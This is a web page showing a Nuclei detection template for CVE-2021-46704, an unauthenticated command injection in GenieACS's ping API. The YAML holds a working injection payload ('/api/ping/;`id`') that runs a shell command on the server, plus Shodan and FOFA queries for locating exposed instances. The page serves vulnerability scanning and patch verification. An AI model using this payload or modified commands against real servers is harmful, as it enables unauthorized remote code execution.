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GenieACS => 1.2.8 - OS Command Injection

ID: CVE-2021-46704

Severity: critical

Author: DhiyaneshDK

Tags: cve2021,cve,genieacs,rce

Description

Section titled “Description”

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

YAML Source

Section titled “YAML Source”
id: CVE-2021-46704


info:
  name: GenieACS => 1.2.8 - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
  reference:
    - https://twitter.com/shaybt12/status/1671598239835906058
    - https://github.com/advisories/GHSA-2877-693q-pj33
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46704
    - https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6
    - https://github.com/genieacs/genieacs/releases/tag/v1.2.8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46704
    cwe-id: CWE-78
    epss-score: 0.94392
    epss-percentile: 0.99153
    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genieacs
    product: genieacs
    shodan-query:
      - http.favicon.hash:-2098066288
      - http.html:"genieacs"
    fofa-query:
      - body="genieacs"
      - icon_hash=-2098066288
  tags: cve2021,cve,genieacs,rce


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping/;`id`"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain


      - type: regex
        part: body
        regex:
          - "uid=([0-9]+)"


      - type: status
        status:
          - 500


    extractors:
      - type: regex
        regex:
          - uid=(\d+)\((\w+)\)
        part: body
# digest: 4b0a004830460221008100e851b656bdbc9937747210386f63eff60c6989d61227c936cf8c37f545d5022100c1dce347dc832cce5839da565289fd95af1c3727ad51e17f5b3ba2cd0596d277:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-46704.yaml"

View on Github